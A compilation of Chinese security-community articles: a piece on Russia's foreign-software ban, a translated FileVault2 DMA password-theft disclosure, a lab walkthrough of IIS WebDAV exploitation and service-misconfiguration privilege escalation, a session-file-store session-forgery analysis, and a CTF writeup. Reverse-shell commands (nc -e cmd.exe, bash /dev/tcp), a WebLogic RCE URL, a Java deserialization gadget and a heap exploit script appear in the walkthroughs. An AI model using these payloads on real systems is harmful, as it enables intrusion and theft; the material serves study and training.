执行最终漏洞利用代码，shellcode开启本地监听端口4444/TCP。连接即可获取最终Shell。 | 社区文章 |
# 从关键基础设施防护角度，观俄罗斯总统最新禁令幕后之意
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
【导读】当地时间3月30日，俄罗斯总统签署最新总统令明确要求，未经政府授权，关键关键基础设施部门禁止采购外国软件。一纸激起千层浪，国际各界对此议论纷纷。在乌克兰网络战场日益焦灼的当下，此番禁令近乎直白地将关键基础设施防护摆到了前所未有的高度，背后种种深意值得深思……一来，为应对“全球互联网孤立”，俄罗斯曾成功进行“断网测试”。如今西方技术制裁加剧，此时总统令这一“红头文件”是否意味着俄已实现技术自主？二来，在乌克兰网络战场中，关键基础设施成为交战双方的重点打击目标。此番禁令可谓从根本上严防严控，未雨绸缪背后，隐藏着何种战略考量？
## 一、普京签署最新总统令，禁止关键基础设施部门采购外国软件！
当地时间3月30日，俄罗斯总统普京签署了一项旨在保障基础设施信息安全的总统令，要求：
从3月31日起，禁止在未经政府相关机构授权的情况下，为国家关键基础设施部门采购外国软件，自2025年1月1日起，国家关键信息基础设施部门将完全禁用外国软件。
根据法令，任何客户（地方政府参与的组织除外）如果没有获得“俄罗斯联邦政府授权的执行机构”的批准，不能购买用于“俄罗斯联邦关键信息基础设施重要网站”的外国软件，也不能购买“在这些网站上使用此类软件所需的服务”。
这类基础设施包括对关键领域（医疗保健、制造业、通信、交通、能源、金融部门和市政设施）的运营至关重要的信息系统和电信网络。
监管机构预计在一个月内公布将用于关键基础设施的软件要求，以及协调购买用于敏感网站的外国软件和相关服务的规定。
此外，新签署的总统令还寻求优先使用国内无线电、电子和电信相关技术，而非外国设备，并将在6个月内公布实现这一目标的具体措施。
## 二、从关键基础设施防护角度，观俄罗斯总统禁令幕后之意
在数字化连接全球的当下，一国总统为何要严辞明确地将其国内重要基础设施与外界隔绝，此举背后是何原因？又有何深意？
原因之一：关键基础设施必须突破技术垄断
据俄联盟电信和IT委员会消息，由于西方系列技术制裁，俄罗斯将面临电信设备严重短缺的问题，铁路运输、燃料和能源部门的通信网络将受到影响。
照此趋势来看，若各方科技制裁加剧，俄罗斯切断关键基础设施连接，断尾自救是必然选择。
三年前，为应对“全球互联网孤立”，俄罗斯政府曾发起了一项“主权互联网”的行动，创建独立的俄罗斯DNS。而2019年12月23日，经过一系列测试，俄罗斯国内也的确成功切断了与全球互联网的连接。
如此来说，俄罗斯此番禁令或许也意味着其在关键基础设施层面也已做好了技术自主的准备。
原因之二：关键基础设施安全本质是城市安全，国计民生尽系于此
关键基础设施是一国之“命脉”，涵盖电力、交通、能源、水利、冶金等方方面面。
早在开战之初，俄联邦政府就曾警告其国内关键基础设施运营商警惕“计算机攻击强度增加的威胁”。
而事实也正如俄罗斯政府所料，自战争爆发以来，俄联邦政府机构、国有银行、媒体、通信等关系国计民生、城市运转的重要部门屡屡成为打击目标。
恰如360公司创始人周鸿祎的观点：针对关键基础设施群的攻击，本质上是对城市目标的攻击。
未来，俄罗斯供水、供电部门的关键基础设施遭遇网络攻击，其影响的可能是数以亿计的国民生存问题，由此极可能引发全社会恐慌与动荡，同时它还会带来声誉受损、舆论危机等社会政治问题。
原因之三：关键基础设施防护与国防安全一脉相连
当前乌克兰军事战场久决不下日益焦灼，若战争进一步演进，敌方攻陷关键基础设施窃取情报，对现实世界发起攻击，必将达到比普通军事作战更隐蔽的破坏效果。
这一背景下，俄罗斯总统签署禁令足以表明，在俄罗斯政府的战略认知中，关键基础设施安全的防护已与国防安全一脉相连。
观他国，以知己。在国际纠纷日益激烈的今天，我国庞大的关键基础设施也同样面临着各种各样的网络攻击威胁，构建中国关键基础设施信息安全的坚实护盾，全力提升关键信息基础设施安全保护能力迫在眉睫。而对此，360公司创始人周鸿祎早以提出了前瞻性的建言：
网络战时代，针对关键基础设施群的攻击本质上是对城市的攻击。国家应尽快以城市为单位建设应急响应体系，当城市遭受网络战攻击时，各项网络安全基础设施和运营团队就能够快速响应，及时侦测溯源。 | 社区文章 |
# 【技术分享】30秒内获取macOS的FileVault2密码（含演示视频）
|
##### 译文声明
本文是翻译文章，文章来源：blog.frizk.net
原文地址：<http://blog.frizk.net/2016/12/filevault-password-retrieval.html>
译文仅供参考，具体内容表达以及含义原文为准。
**翻译：**[ **m6aa8k**
****](http://bobao.360.cn/member/contribute?uid=2799685960)
**预估稿费：150RMB（不服你也来投稿啊！）**
******投稿方式：发送邮件至**[ **linwei#360.cn**](mailto:[email protected]) **，或登陆**[
**网页版**](http://bobao.360.cn/contribute/index) **在线投稿******
**前言**
当前，攻击者只要将价值300美元的Thunderbolt设备插入锁屏或休眠中的mac电脑，就能获得macOS的FileVault2明文密码。只要有了这个密码，他们就可以解锁mac电脑并访问机器中的一切东西了。要想保护你的mac的话，需要将它更新至2016年12月的补丁。
任何人，包括但不限于你的同事、警察、邪恶的女佣和小偷，只要能够以物理方式接触你的mac电脑，他们就有机会获取机器中的所有数据，除非你苹果电脑已经处于完全关机的状态。如果你的苹果电脑正好处于休眠状态的话，就会受到这种漏洞的威胁。
攻击者只需要若无其事的走到一台锁屏的mac机器旁边，插入Thunderbolt设备，强制重新启动（ctrl+cmd+power），稍等片刻（不会超过三十秒），密码就会显示出来！
**演示视频**
**这怎么可能？**
这个安全漏洞主要是由两个独立的问题造成的：
第一个问题是mac在macOS启动之前，无法抵御直接内存访问（DMA）攻击。先于macOS运行的EFI将启用Thunderbolt接口，从而为恶意设备读写内存提供了机会。在这个阶段，macOS尚未启动，它还驻留在加密的磁盘上——要想启动的话，必须先将其解密。macOS一旦启动，就会默认启用DMA保护。
第二个问题是FileVault的密码是以明文形式存储在内存中的，并且在硬盘解锁之后，该密码也不会从内存中自动删除。该密码在内存中的保存地址有多处
，好像每次重启时其位置都会变，但是无论怎么变，也不会超出一个特定的地址范围。
正是以上原因，导致攻击者只需插入DMA攻击硬件并重新启动mac，就能轻松获取FileVault2的密码。一旦mac重新启动，macOS启用的DMA保护机制将被禁用，但是内存中包括密码所有内容，仍在那里。这些包含密码的内存被新内容覆盖之前，会保留几秒钟的时间。对攻击者来说，这些时间已经够用了。
连接到受害MAC机器上的PCILeech DMA攻击硬件
连接PCILeech硬件后，就可以在攻击者的计算机上运行mac_fvrecover 命令了。
利用PCILeech获取FileVault密码。正确的密码为DonaldDuck。
**深入分析**
输入的密码将会以unicode编码的形式保存在内存中。如果密码完全由ascii字符组成，那么相应的第二个字节就会都是零。在提示输入密码的时候，请键入一个“随机的”口令，当然在内存中，这个口令肯定不是屏幕上看到的样子。在本示例中，使用的口令为eerrbbnn。在内存中，它被存储为6500650072007200620062006e006e。在使用PCILeech软件搜索这个口令的时候，会找到多个存储位置。
在mac内存中搜索测试口令eerrbbnn
找到相应的内存位置后，我们就可以从中查找密码了。如果第一次读取失败，有时候需要将攻击设备重新连接到mac上面。
我们检查一下上面地址中的内容就会发现，密码以明文形式赫然在目。除此之外，这里还可以找到扫描出来的其他签名，例如例下面内存页开头部分的phd0。
保存在某内存位置中的明文密码
**
**
**我能亲自试一下吗？**
是的，当然可以。你可以从Github下载PCILeech，并购买相应的硬件。实验证明，这种攻击方法可以在多种macbook和macbook
airs（所有支持Thunderbolt 2接口）型号上面奏效。但是，我们还没有对最新的提供USB-C接口的mac进行相应的安全测试。
如果用户在密码中使用特殊字符（非ASCII），则无法直接通过这种攻击方法取得FileVault2密码。在这些情况下，可以将内存中的内容转储到文件上面，然后通过手工的方式查找相应的密码。
请注意，不要在别人mac上面尝试这些事情，这是非法的。
**其他注意事项**
如果你的mac还没有安装最新的安全补丁的话，除了可能泄露密码之外，还可能受到与这个漏洞有关其他各种攻击。由于EFI内存可以被覆盖，所以攻击者可以利用这个漏洞干更邪恶的……
**时间轴**
7月底：发现问题。
8月5日：在DEF CON 24大会上发布了PCILeech软件。
8月15日：苹果接到通知。
8月16日：苹果确认问题，要求暂缓披露。
12月13日：苹果发布了包含安全更新的macOS 10.12.2。
**结束语**
针对这个安全问题，苹果已经推出了一个完整的解决方案——至少在我看来是完整的。目前，攻击者已经无法在macOS引导之前访问内存了。因此，在防御这种攻击向量方面，mac可谓是最安全的平台之一。 | 社区文章 |
## 0x00 前言
看到了不少小伙伴似乎对渗透测试学习笔记系列文章有点兴趣，今天，笔者刚好抽空继续来写写吧！
## 0x01 案例分析
**实验环境：**
* * *
* 目标靶机：10.11.1.0/24
* 攻击机：Kali Linux (10.11.0.90)
**渗透过程：**
我们今天选取的目标靶机的IP为10.11.1.13。废话不多说，依旧nmap做端口探测。
# nmap -sS -sV -p 1-1024 -Pn 10.11.1.13
Starting Nmap 7.50 ( https://nmap.org ) at 2017-08-10 23:19 CST
Nmap scan report for 10.11.1.13
Host is up (0.33s latency).
Not shown: 1022 filtered ports
PORT STATE SERVICE VERSION
21/tcp open ftp Microsoft ftpd
80/tcp open http Microsoft IIS httpd 5.1
MAC Address: 00:50:56:89:42:08 (VMware)
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
分析扫描结果，目标靶机存在ftp服务和IIS5.1服务。
首先检查ftp是否存在匿名登录.
# ftp 10.11.1.13
Connected to 10.11.1.13.
220 Microsoft FTP Service
Name (10.11.1.13:root): anonymous
331 Anonymous access allowed, send identity (e-mail name) as password.
Password:
230 Anonymous user logged in.
Remote system type is Windows_NT.
ftp> ls
200 PORT command successful.
150 Opening ASCII mode data connection for /bin/ls.
01-17-07 07:42PM <DIR> AdminScripts
01-17-07 07:43PM <DIR> ftproot
01-17-07 07:43PM <DIR> iissamples
01-17-07 07:43PM <DIR> Scripts
08-22-17 09:27PM <DIR> wwwroot
226 Transfer complete.
ftp>
果然，存在ftp匿名登录问题且存在IIS的wwwroot目录。这样一个思路很自然就出现了，上传webshell至wwwroot目录即可，这里就不详细说明了。另外还有一个思路，从上面的扫描结果我们知道目标机器上运行了IIS5.1，搜索exploit-db我们发现了一个[IIS WebDAV Write Access Code Execution](https://www.exploit-db.com/exploits/16471/)漏洞且存在现成的Metasploit的利用模块，既然如此我们便来用MSF利用一下。
msf > use exploit/windows/iis/iis_webdav_upload_asp
msf exploit(iis_webdav_upload_asp) > set RHOST 10.11.1.13
RHOST => 10.11.1.13
msf exploit(iis_webdav_upload_asp) > set PATH /hahaha.asp
PATH => /hahaha.asp
msf exploit(iis_webdav_upload_asp) > run
[*] Started reverse TCP handler on 10.11.0.90:4444
[*] Checking /hahaha.asp
[*] Uploading 609362 bytes to /hahaha.txt...
[*] Moving /hahaha.txt to /hahaha.asp...
[*] Executing /hahaha.asp...
[-] Execution failed on /hahaha.asp [No Response]
[*] Exploit completed, but no session was created.
msf exploit(iis_webdav_upload_asp) > exploit
[*] Started reverse TCP handler on 10.11.0.90:4444
[*] Checking /hahaha.asp
[*] Sending stage (957487 bytes) to 10.11.1.13
[*] Meterpreter session 3 opened (10.11.0.90:4444 -> 10.11.1.13:3287) at 2017-08-12 05:57:47 +0800
[-] Connection timed out while trying to checking /hahaha.asp
meterpreter >
我们成功地获得了meterpreter，接下来的任务就是看看我们是否是SYSTEM权限了。
meterpreter > getuid
Server username: BOB\IWAM_BOB
meterpreter > sysinfo
Computer : BOB
OS : Windows XP (Build 2600, Service Pack 1).
Architecture : x86
System Language : en_US
Domain : WORKGROUP
Logged On Users : 3
Meterpreter : x86/windows
meterpreter > hashdump
[-] priv_passwd_get_sam_hashes: Operation failed: The parameter is incorrect.
但是，这次似乎我们没有那么幸运了，我们的meterpreter并不是SYSTEM权限，但是我们获得了以下信息：
* 目标机器是：Windows XP SP1
* 当前的登录账户是：IWAM_BOB
接下来，当然要思考的问题就是提权了。一般，提权有以下几种方式：
1. 利用系统自带的服务或者系统本身的提权漏洞的exp，如：MS16-016（CVE-2016-0051）
2. 利用安全的第三方的软件的漏洞来进行提权，如： MYSQL（CVE-2016-6662/6663）
3. 还有一种极容易被大家忽略，即利用不正确文件和服务的权限设置
本案例中，主要演示一下第三种的提权方法。在开始提权之前，我们需要用到2个小工具：
1. icacls（适用于win7及以上系统）/cacls (适用于winxp及win2000系统) – 系统默认工具，用于检查某个具体的文件夹或者文件的权限配置信息
2. accesschk ([sysinternals](https://docs.microsoft.com/en-us/sysinternals/downloads/accesschk)工具集之一) – 用于检查一个具体的用户或者组对于文件，目录，注册表，全局对象以及windows服务的权限信息
有了这2个有用的工具，我们便可以来进行提权尝试了。
首先，进入shell，查看系统目录，发现IIS的web目录的路径是：C:\Inetpub\wwwroot\
meterpreter > shell
Process 2544 created.
Channel 2 created.
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.
C:\WINDOWS\system32>cd c:\inetpub
cd c:\inetpub
C:\Inetpub>dir
dir
Volume in drive C has no label.
Volume Serial Number is 50C3-3741
Directory of C:\Inetpub
08/22/2017 06:30 PM <DIR> .
08/22/2017 06:30 PM <DIR> ..
01/17/2007 07:42 PM <DIR> AdminScripts
01/17/2007 07:43 PM <DIR> ftproot
01/17/2007 07:43 PM <DIR> iissamples
08/22/2017 01:50 AM <DIR> Scripts
08/22/2017 06:27 PM <DIR> wwwroot
11 File(s) 3,183,328 bytes
7 Dir(s) 1,645,780,992 bytes free
接着，上传我们的工具，如；accesschk，netcat.
meterpreter > upload accesschk_xp.exe c:\\inetpub\\accesschk_xp.exe
[*] uploading : accesschk_xp.exe -> c:\inetpub\accesschk_xp.exe
[*] uploaded : accesschk_xp.exe -> c:\inetpub\accesschk_xp.exe
meterpreter > upload nc.exe c:\\inetpub\\nc.exe
[*] uploading : nc.exe -> c:\inetpub\nc.exe
[*] uploaded : nc.exe -> c:\inetpub\nc.exe
执行accesschk来检查当前用户IWAM_BOB具有写权限的windows服务，因为这些服务配置了过高的权限将有利于我们来实现提权操作。
C:\Inetpub>accesschk_xp.exe /accepteula -uwcqv IWAM_BOB * > ack.txt
accesschk_xp.exe /accepteula -uwcqv IWAM_BOB * > ack.txt
C:\Inetpub>dir
dir
Volume in drive C has no label.
Volume Serial Number is 50C3-3741
Directory of C:\Inetpub
08/22/2017 07:16 PM <DIR> .
08/22/2017 07:16 PM <DIR> ..
08/22/2017 07:15 PM 380,608 accesschk_xp.exe
08/22/2017 07:16 PM 67 ack.txt
01/17/2007 07:42 PM <DIR> AdminScripts
01/17/2007 07:43 PM <DIR> ftproot
01/17/2007 07:43 PM <DIR> iissamples
08/22/2017 07:15 PM 59,392 nc.exe
01/17/2007 07:43 PM <DIR> Scripts
08/22/2017 07:13 PM <DIR> wwwroot
3 File(s) 440,067 bytes
7 Dir(s) 1,670,123,520 bytes free
C:\Inetpub>type ack.txt
type ack.txt
RW SSDPSRV
SERVICE_ALL_ACCESS
RW upnphost
SERVICE_ALL_ACCESS
显然，我们找到了2个满足条件的windows服务，分别是SSDPSRV和upnphost。任意选择一个服务检查一下，如：SSDPSRV
C:\Inetpub>accesschk_xp.exe /accepteula -ucqv SSDPSRV
accesschk_xp.exe /accepteula -ucqv SSDPSRV
SSDPSRV
RW NT AUTHORITY\SYSTEM
SERVICE_ALL_ACCESS
RW BUILTIN\Administrators
SERVICE_ALL_ACCESS
RW NT AUTHORITY\Authenticated Users
SERVICE_ALL_ACCESS
RW BUILTIN\Power Users
SERVICE_ALL_ACCESS
RW NT AUTHORITY\LOCAL SERVICE
SERVICE_ALL_ACCESS
简单分析一下这个服务，我们可以发现这个服务可以使用NT
AUTHORITY\SYSTEM权限来启动我们指定的二进制文件，也就是说我们可以以SYSTEM权限来反弹一个shell继而完成提权操作，具体操作命令如下：
C:\Inetpub>sc qc SSDPSRV
sc qc SSDPSRV
[SC] GetServiceConfig SUCCESS
SERVICE_NAME: SSDPSRV
TYPE : 20 WIN32_SHARE_PROCESS
START_TYPE : 4 DISABLED
ERROR_CONTROL : 1 NORMAL
BINARY_PATH_NAME : C:\WINDOWS\System32\svchost.exe -k LocalService
LOAD_ORDER_GROUP :
TAG : 0
DISPLAY_NAME : SSDP Discovery Service
DEPENDENCIES :
SERVICE_START_NAME : NT AUTHORITY\LocalService
C:\Inetpub>sc config SSDPSRV binpath= "c:\inetpub\nc.exe -nv 10.11.0.90 9090 -e cmd.exe"
sc config SSDPSRV binpath= "c:\inetpub\nc.exe -nv 10.11.0.90 9090 -e cmd.exe"
[SC] ChangeServiceConfig SUCCESS
C:\Inetpub>sc config SSDPSRV obj= ".\LocalSystem" password= ""
sc config SSDPSRV obj= ".\LocalSystem" password= ""
[SC] ChangeServiceConfig SUCCESS
C:\Inetpub>sc config SSDPSRV start= "demand"
sc config SSDPSRV start= "demand"
[SC] ChangeServiceConfig SUCCESS
C:\Inetpub>sc qc SSDPSRV
sc qc SSDPSRV
[SC] GetServiceConfig SUCCESS
SERVICE_NAME: SSDPSRV
TYPE : 20 WIN32_SHARE_PROCESS
START_TYPE : 3 DEMAND_START
ERROR_CONTROL : 1 NORMAL
BINARY_PATH_NAME : c:\inetpub\nc.exe -nv 10.11.0.90 9090 -e cmd.exe
LOAD_ORDER_GROUP :
TAG : 0
DISPLAY_NAME : SSDP Discovery Service
DEPENDENCIES :
SERVICE_START_NAME : LocalSystem
至此，我们已经把SSDPSRV服务配置成了使用SYSTEM权限来执行nc反弹shell的服务了。
直接在攻击机（10.11.0.90）上重新开启一个监听窗口，如下：
root@kali:~# nc -lvvp 9090
listening on [any] 9090 ...
在目标靶机（10.11.1.13）上开启SSDPSRV服务。
C:\Inetpub>net start SSDPSRV
net start SSDPSRV
The service is not responding to the control function.
最后，我们成功地反弹了一个SYSTEM权限的shell回来。
root@kali:~# nc -lvvp 9090
listening on [any] 9090 ...
Warning: forward host lookup failed for bogon: Unknown host
connect to [10.11.0.90] from bogon [10.11.1.13] 3015
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.
C:\WINDOWS\system32>net localgroup administrators
net localgroup administrators
Alias name administrators
Comment Administrators have complete and unrestricted access to the computer/domain
Members
------------------------------------------------------------------------------- Administrator
The command completed successfully.
C:\WINDOWS\system32>net localgroup administrators IWAM_BOB /add
net localgroup administrators IWAM_BOB /add
The command completed successfully.
C:\WINDOWS\system32>ipconfig
ipconfig
Windows IP Configuration
Ethernet adapter Local Area Connection:
Connection-specific DNS Suffix . :
IP Address. . . . . . . . . . . . : 10.11.1.13
Subnet Mask . . . . . . . . . . . : 255.255.0.0
Default Gateway . . . . . . . . . : 10.11.1.220
C:\WINDOWS\system32>cd c:\
cd c:\
C:\>dir /b /s proof.txt
dir /b /s proof.txt
C:\Documents and Settings\Administrator\Desktop\proof.txt
## 0x02 小结
总结一下本案例的渗透过程：
1. nmap进行端口探测
2. 分析漏洞服务并利用
3. 获取meterpreter shell并检查不安全的windows服务
4. 配置windows服务以SYSTEM权限来执行反弹shell
5. 开启windows服务获取SYSTEM权限的shell
## 0x03 参考
* <[http://fuzzysecurity.com/tutorials/16.html>](http://fuzzysecurity.com/tutorials/16.html>); | 社区文章 |
# 1.前言
node.js 的 `session-file-store` 库是依赖于 `express` 或其他中间件的一个第三方库, 这个库为 `express`
session的文件存储提供了一个更加快捷的接口,
但是当没有为session合理的配置密钥或者在session的配置文件泄露时就有可能导致session伪造.
# 2.session机制
由于 `http` 是一种无状态的协议导致服务端无法根据之前的状态进行本次的请求处理, 为了解决HTTP的状态管理, 引入了http的cookie技术,
cookie技术通过请求和响应报文中添加cookie信息, 服务端会根据cookie信息来判断客户端状态以做出适当的响应.
然而cookie的本质是若干个存在客户端的键值对, 键为cookie的名称, 值为cookie的value, 客户端可以随意对cookie的内容进行修改,
删除, 添加, 虽然也涌现出来类似于签名防止修改, 加密防止修改的办法来解决类似的问题, 但是一些敏感的信息依旧就不适合存在cookie中.
所以出现了基于cookie机制的session机制, session机制并没有跳出cookie机制的范畴, 而是对cookie的一种特殊的实现方案,
cookie的本质就是储存在客户端的一系列键值对,
服务端指定一个键值作为的session键(假设指定名为"SESSION"的cookie作为session),
那么SESSON这个键所对应的值是服务端所生成的一个随机字符串(我们通常称它为SESSIONID), 没错是随机字符串,
这串随机字符串本身和客户端状态没有任何的直接联系, 在服务端通过SESSIONID和客户端状态绑定的方式进行认证.
而在服务端将这些客户端状态存储的位置可以多样化, 可以存放在文件中, 可以存放在数据库中, 甚至可以直接放在内存中(只要不怕溢出),
所以session既保证了客户端无法修改判断客户端状态所使用的数据, 又保证了用于验证的敏感数据不会泄露.
# 3.session-file-store的session伪造
首先这个session的伪造需要两个条件:
1. 任意文件读取或者文件上传
2. 通过爆破或者是配置文件泄露获得session的签名
session-file-store的session作为一个json文件存储存储在对应的文件中, 一个session文件形式如下:
{"cookie":{"originalMaxAge":null,"expires":null,"httpOnly":true,"path":"/"},"views":4,"__lastAccess":1554220794810}
你会发现这个文件是明文存放在session目录下, 那session的签名到底签在哪里了呢?
原来是签在了sessionID上, 验证sessionID是否曾被修改过. 那么session是如何签名,签名又是如何被验证的呢?
阅读相关源码和文档发现签名的授予和验证都是由 `express-session` 库来执行的, 所以这里略讲
express-session/index.js - Function - setcookie
function setcookie(res, name, val, secret, options) {
var signed = 's:' + signature.sign(val, secret);
var data = cookie.serialize(name, signed, options);
debug('set-cookie %s', data);
var prev = res.getHeader('set-cookie') || [];
var header = Array.isArray(prev) ? prev.concat(data) : [prev, data];
res.setHeader('set-cookie', header)
}
签名生成部分
express-session/index.js - Function - getcookie
function getcookie(req, name, secrets) {
var header = req.headers.cookie;
var raw;
var val;
// read from cookie header
if (header) {
var cookies = cookie.parse(header);
raw = cookies[name];
if (raw) {
if (raw.substr(0, 2) === 's:') {
val = unsigncookie(raw.slice(2), secrets);
if (val === false) {
debug('cookie signature invalid');
val = undefined;
}
} else {
debug('cookie unsigned')
}
}
}
//....
return val;
}
签名验证代码, 从这个代码这里也可以看出签名和session的内容没有关系, 只和session的名称有关.
那么接下来看一下session-file-store的对于获取session内容的相关的代码
首先当然还是查看index.js了
index.js
module.exports = function(session) {
return require('./lib/session-file-store')(session);
};
index.js 相当的干净, 继续去查看 `./lib/session-file-store.js` 继续查看代码逻辑.
session-file-store.js - Object - FileStore(部分)
FileStore.prototype.get = function (sessionId, callback) {
helpers.get(sessionId, this.options, callback);
};
跟入 `session-file-store.js` 发现了定义session获取内容的函数 `get` , 它使用了helpers对象下的同名函数.
session-file-store.js - / - helpers
var helpers = require('./session-file-helpers');
发现helpers是从 `session-file-helpers.js` 中暴露出的一个对象, 继续跟入 `session-file-helper.js`
查看对应的逻辑.
session-file-helper.js - Function - get(部分)
get: function (sessionId, options, callback) {
var sessionPath = helpers.sessionPath(options, sessionId);
var operation = retry.operation({
retries: options.retries,
factor: options.factor,
minTimeout: options.minTimeout,
maxTimeout: options.maxTimeout
});
operation.attempt(function () {
fs.readFile(sessionPath, helpers.isSecret(options.secret) && !options.encryptEncoding ? null : options.encoding, function readCallback(err, data) {
if (!err) {
var json;
try {
json = options.decoder(helpers.isSecret(options.secret) ? helpers.decrypt(options, data, sessionId) : data);
} catch (parseError) {
return fs.remove(sessionPath, function (removeError) {
if (removeError) {
return callback(removeError);
}
callback(parseError);
});
}
}
//....
});
});
},
根据代码的第2行和第13可知读取session时会通过 `helpers.sessionPath` 函数获取文件路径,
那么继续跟入sessionPath函数
session-file-helper.js - Function - sessionPath
sessionPath: function (options, sessionId) {
//return path.join(basepath, sessionId + '.json');
return path.join(options.path, sessionId + options.fileExtension);
},
可见没有任何过滤, 也没有验证文件是否存在, 就直接通过 `path.join` 函数将 `option.path` , `sessionId` ,
`options.fileExtension` 三个参数拼接在了一起, 所以这里可以通过向session中添加 `/xxx` 或者 `../` , 来让
`session-file-store` 将不属于sessions目录的文件夹下的json文件当作session.
在本地搭建一个测试demo, 代码如下:
var express = require('express');
var app = express();
var session = require('express-session');
var FileStore = require('session-file-store')(session);
app.use(session({
store: new FileStore(),
secret: 'keyboard cat',
resave: false,
saveUninitialized: false,
rolling: true,
})
);
app.get('/', function (req, res) {
if (req.session.views) {
req.session.views++;
res.setHeader('Content-Type', 'text/html');
res.write('<p>views: ' + req.session.views + '</p>');
res.end();
} else {
req.session.views = 1;
res.end('Welcome to the file session demo. Refresh page!');
}
});
var server = app.listen(1337, function () {
var host = server.address().address;
var port = server.address().port;
console.log('Example app listening at http://%s:%s', host, port);
});
搭建一个伪造session用的脚本代码如下:
这个脚本建议在node_modules/express-session目录下建立, 不然就需要require一个很深的路径.
var cookie = require('cookie');
var crc = require('crc').crc32;
var debug = require('debug')('express-session');
var deprecate = require('depd')('express-session');
var parseUrl = require('parseurl');
var uid = require('uid-safe').sync
, onHeaders = require('on-headers')
, signature = require('cookie-signature')
var val = ""; //修改后的sessionID
var secret = ""; //签名session用的密钥
var name = "name";
var options = undefined;
var signed = 's:' + signature.sign(val, secret);
var data = cookie.serialize(name, signed, options);
debug('set-cookie %s', data);
console.log(data);
session放在sessions目录中, 假设有一个文件上传点, 上传目录在和sessions同级的upload目录下,
自己本地创建一个json文件将view改为9999后上传, 上传后的文件名为 `XcEx97vGpX0ORgSj8lGMiEg98lSOGDf_.json`
.
先运行伪造session的脚本获得签名后的sessionID.
然后用burp修改我们的sessionID为签过名的session.
每一个session都有一个时间戳 `"__lastAccess":1554299511812` 这个记得要改.
如果没有文件上传也可以考虑是否可以通过日志或者什么之类的东西创建json文件, 毕竟是session所以容错率其实很高,
同时也可以利用目录遍历和任意文件读取来盗取他人的session. | 社区文章 |
# 上海市大学生大赛 Writeup
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## Web
### Ezgadget
import com.ezgame.ctf.tools.ToStringBean;
import com.sun.corba.se.spi.ior.ObjectKey;
import javax.management.BadAttributeValueExpException;
import java.io.*;
import java.lang.reflect.Field;
import java.nio.charset.StandardCharsets;
public class Gadget {
public static void main(String[] args) {
try {
ToStringBean payload = new ToStringBean();
File clzFile = new File("C:\\Users\\Eki\\Projects\\learn-memshell\\Test\\target\\classes\\Evil.class");
byte[] clzBytes = new byte[(int) clzFile.length()];
FileInputStream fis = new FileInputStream(clzFile);
fis.read(clzBytes); //read file into bytes[]
fis.close();
payload.setClassByte(clzBytes);
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException("placeholder");
Field field = badAttributeValueExpException.getClass().getDeclaredField("val");
field.setAccessible(true);
field.set(badAttributeValueExpException, payload);
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream out = new ObjectOutputStream(byteArrayOutputStream);
out.writeUTF("gadgets");
out.writeInt(2021);
out.writeObject(badAttributeValueExpException);
//String data = byteArrayOutputStream.toString();
String data = Tools.base64Encode(byteArrayOutputStream.toByteArray());
System.out.println(data);
/*
byte[] b = Tools.base64Decode(data);
InputStream inputStream = new ByteArrayInputStream(b);
ObjectInputStream objectInputStream = new ObjectInputStream(inputStream);
String name = objectInputStream.readUTF();
int year = objectInputStream.readInt();
if (name.equals("gadgets") && year == 2021) {
objectInputStream.readObject();
}*/
}catch (Exception e){
e.printStackTrace();
}
}
}
public class Evil {
static{
try {
Runtime r = Runtime.getRuntime();
Process p = r.exec(new String[]{"/bin/bash","-c","bash -i >& /dev/tcp/xxx/9855 0>&1"});
p.waitFor();
}catch (Exception e){
e.printStackTrace();
}
}
}
### apacheProxy
apachesockscve SSRF
weblogice
http://47.104.90.78:7410/console/images/%252E%252E%252Fconsole.portal?_nfpb=false&_pageLable=&handle=com.tangosol.coherence.mvel2.sh.ShellSession(%22java.lang.Runtime.getRuntime().exec(new+String[]{%22/bin/bash%22,%22-c%22,%22bash+-i+%3E%26+/dev/tcp/xxx/9855+0%3E%261%22});%22);
## Misc
### checkin
UTF-7,base64解码一下就出
### project
有用的只有一个test.exe
里面邮件正常解密得到密钥hurryup
还有一个图片，图片后面9e97ba2a
从前段pwnhub比赛中知道是oursecret特征，放进去解密得到flag
### jumpjumptiger
反编译exe发现一堆base64。
提取出来结合题目名字，来跳着取字符，得到一个png一个jpg
file=open('a.txt','r')
tot=0
data=''
import base64
for line in file:
if tot<3:
#data=line.encode('utf-8')
data+=line[:-1]
tot+=1
jpg_file=''
png_file=''
for i in range(0,len(data)):
if i%2==1:
jpg_file+=data[i]
else:
png_file+=data[i]
file_j=open('jpg.txt','w')
file_j.write(jpg_file)
file_p=open('png.txt','w')
file_p.write(png_file)
双图盲水印 得到flag
### where_can_code_found
我们可以发现asc也可以通过WbStego4.3进行解密
空密码得到了云影密码，得到BINGO。通过
Translate J into I 我们可以想到 playfair密码。那么BINGO也就是这个的密钥
利用这个来解密即可
tihuan='FLAGDAFDADDEEDCDBF'
flag='dpeb{e58ca5e2-2c51-4eef-5f5e-33539364deoa}'
ok='1234567890-{}'
tot=0
result=''
for i in flag:
if i not in ok:
result+=chr(ord(tihuan[tot])+32)
tot+=1
else:
result+=i
print(result)
得到flag
## Pwn
### cpp1
堆溢出,改size泄露libc,堆重叠打free_hook
# -*- coding: UTF-8 -*-
from pwn import *
context(os='linux',arch='amd64')
elf = ELF("./pwn")
libc = ELF('./libc-2.31.so')
# libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
loacl = 0
context.log_level = 'debug'
if loacl:
p = process("./pwn")
else:
p = remote("47.104.143.202", "43359")
def choice(cmd):
p.sendlineafter("4. Delete A Vuln\n>>",str(cmd))
def add(idx,size):
choice(1)
p.sendlineafter("I:>>",str(idx))
p.sendlineafter("S:>>",str(size))
def edit(idx,data):
choice(2)
p.sendlineafter("I:>>",str(idx))
p.sendlineafter("V:>>",data)
def show(idx):
choice(3)
p.sendlineafter("I:>>",str(idx))
def free(idx):
choice(4)
p.sendlineafter("I:>>",str(idx))
add(0,0xF0)
add(1,0xF0)
add(2,0xF0)
add(3,0xF0)
add(4,0xF0)
add(5,0xF0)
add(6,0xF0)
edit(0,"a"*0xF8+p64(0x501))
free(1)
add(1,0xF0)
show(2)
